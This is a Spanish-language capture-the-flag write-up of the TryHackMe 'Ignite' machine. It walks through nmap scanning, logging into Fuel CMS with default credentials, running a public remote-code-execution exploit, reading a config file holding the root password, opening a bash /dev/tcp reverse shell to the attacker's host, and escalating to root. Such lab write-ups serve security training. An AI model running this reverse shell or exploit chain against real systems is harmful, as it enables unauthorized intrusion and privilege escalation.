Entrada

Ignite Writeup - TryHackMe

¡Saludos!

En este writeup, nos sumergiremos en la máquina Ignite de TryHackMe, clasificada con un nivel de dificultad fácil según la plataforma. Se trata de una máquina Linux en la que realizaremos una enumeración web para identificar la ruta de configuración de la base de datos del CMS Fuel, así como las credenciales por defecto que nos permitirán acceder al panel de inicio de sesión. Para obtener acceso al servidor, utilizaremos un exploit de Remote Code Execution y luego escalaremos privilegios mediante la recuperación de la contraseña del usuario root en el archivo de configuración de la base de datos.

¡Vamos a empezar!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.226.203
PING 10.10.226.203 (10.10.226.203) 56(84) bytes of data.
64 bytes from 10.10.226.203: icmp_seq=1 ttl=61 time=313 ms

--- 10.10.226.203 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 313.100/313.100/313.100/0.000 ms

Dado que el TTL es cercano a 64, podemos inferir que la máquina objetivo probablemente sea Linux.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
2
3
4
5
6
7
8
9
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.226.203 -oG allPorts.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 22:14 -05
Nmap scan report for 10.10.226.203
Host is up (0.30s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nmap -p 80 -sV -sC --min-rate 5000 10.10.226.203 -oN services.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 22:16 -05
Nmap scan report for 10.10.226.203
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.53 seconds

El reporte nos muestra que en la máquina víctima solo hay un servicio HTTP (Apache 2.4.18) en funcionamiento.

HTTP - 80

Al ingresar al sitio web, nos aparece la página de Fuel CMS, donde se muestra la version empleada (1.4) y donde se explican los pasos a seguir para iniciar con el CMS.

web

En el paso 2 (Install the database) se indica un archivo de configuración de la base de datos (fuel/application/config/database.php) que contiene el usuario y la contraseña.

database

Finalmente, se señala una ruta a un panel de acceso /fuel, cuyas credenciales predeterminadas son username: admin y password:admin.

credentials

Esa ruta también la podemos encontrar en el archivo robots.txt.

robots

Al ingresar a la ruta, se nos dirige al siguiente panel de acceso.

login

Utilizamos las credenciales predeterminadas y conseguimos acceder al dashboard.

dashboard

Como conocemos el CMS usado y su versión, podemos realizar una búsqueda de posibles exploits con la herramienta searchploit.

1
2
3
4
5
6
7
8
9
10
11
12
❯ searchsploit Fuel CMS 1.4
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                                          | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                                          | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)                                                                                                          | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)                                                                                         | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                                | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                                    | php/webapps/48778.txt
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Explotación


Encontramos varios exploits de Ejecución Remota de Código, en este caso usamos el exploit más reciente y hacemos un mirror del exploit php/webapps/50477.py con el siguiente comando.

1
2
3
4
5
6
7
8
❯ searchsploit -m php/webapps/50477.py
  Exploit: Fuel CMS 1.4.1 - Remote Code Execution (3)
      URL: https://www.exploit-db.com/exploits/50477
     Path: /usr/share/exploitdb/exploits/php/webapps/50477.py
    Codes: CVE-2018-16763
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/juanr/CTF/THM/Ignite/exploits/50477.py

Lo ejecutamos para comprobar los parámetros necesarios para realizar el exploit.

1
2
❯ python3 50477.py
usage: python3 50477.py -u <url>

Vemos que el único parámetro necesario es la url del CMS, así que lo indicamos.

Al ejecutar el exploit comprobamos que tenemos ejecución remota de código, empleamos el comando whoami para verificar que usuario somos y comprobamos que somos www-data.

1
2
3
4
❯ python3 50477.py -u http://10.10.226.203
[+]Connecting...
Enter Command $whoami
systemwww-data

Comprobamos en qué ruta nos encontramos actualmente y listamos los archivos y directorios.

1
2
3
4
5
6
7
8
9
10
11
Enter Command $pwd
system/var/www/html

Enter Command $ls  
systemREADME.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt

Si recordamos, en la página principal del CMS se nos indicaba el archivo fuel/application/config/database.php que contiene un usuario y una contraseña potencial.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Enter Command $cat fuel/application/config/database.php

[...]

$db['default'] = array(
	'dsn'	=> '',
	'hostname' => 'localhost',
	'username' => 'root',
	'password' => 'mememe',
	'database' => 'fuel_schema',
	'dbdriver' => 'mysqli',
	'dbprefix' => '',
	'pconnect' => FALSE,
	'db_debug' => (ENVIRONMENT !== 'production'),
	'cache_on' => FALSE,
	'cachedir' => '',
	'char_set' => 'utf8',
	'dbcollat' => 'utf8_general_ci',
	'swap_pre' => '',
	'encrypt' => FALSE,
	'compress' => FALSE,
	'stricton' => FALSE,
	'failover' => array(),
	'save_queries' => TRUE
);

[...]

Podemos emplear estas credenciales para intentar cambiar al usuario root, pero para ello primero deberemos obtener acceso a la máquina.

Aprovechando que podemos realizar ejecución remota de código, leemos la primera flag en la ruta principal del usuario www-data.

1
2
3
4
5
6
7
8
Enter Command $ls /home
systemwww-data

Enter Command $ls /home/www-data
systemflag.txt

Enter Command $cat /home/www-data/flag.txt
system6470e394cbf6********************

Para ganar acceso simplemente ejecutamos el siguiente comando para obtener una reverse shell.

1
Enter Command $bash -c "bash -i >& /dev/tcp/10.2.11.100/443 0>&1"

Una vez puesto en escucha en el puerto especificado en el comando anterior, obtenemos acceso al servidor.

1
2
3
4
5
6
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.2.11.100] from (UNKNOWN) [10.10.226.203] 40702
bash: cannot set terminal process group (959): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$

Escalación de privilegios


Una vez obtenido el acceso, seguimos los pasos detallados en Tratamiento de la TTY para conseguir una shell más interactiva y funcional.

Después, intentamos cambiar al usuario root con la contraseña encontrada anteriormente en la configuración de la base de datos.

1
2
3
4
www-data@ubuntu:/var/www/html$ su root
Password: 
root@ubuntu:/var/www/html# whoami
root

Una vez que somos usuario root, solo tenemos que entrar en su directorio y conseguir la última flag de la máquina.

1
2
3
4
5
root@ubuntu:/var/www/html# cd
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt 
b9bbcb33e11b80be7***************

!Happy Hacking¡

Esta entrada está licenciada bajo CC BY 4.0 por el autor.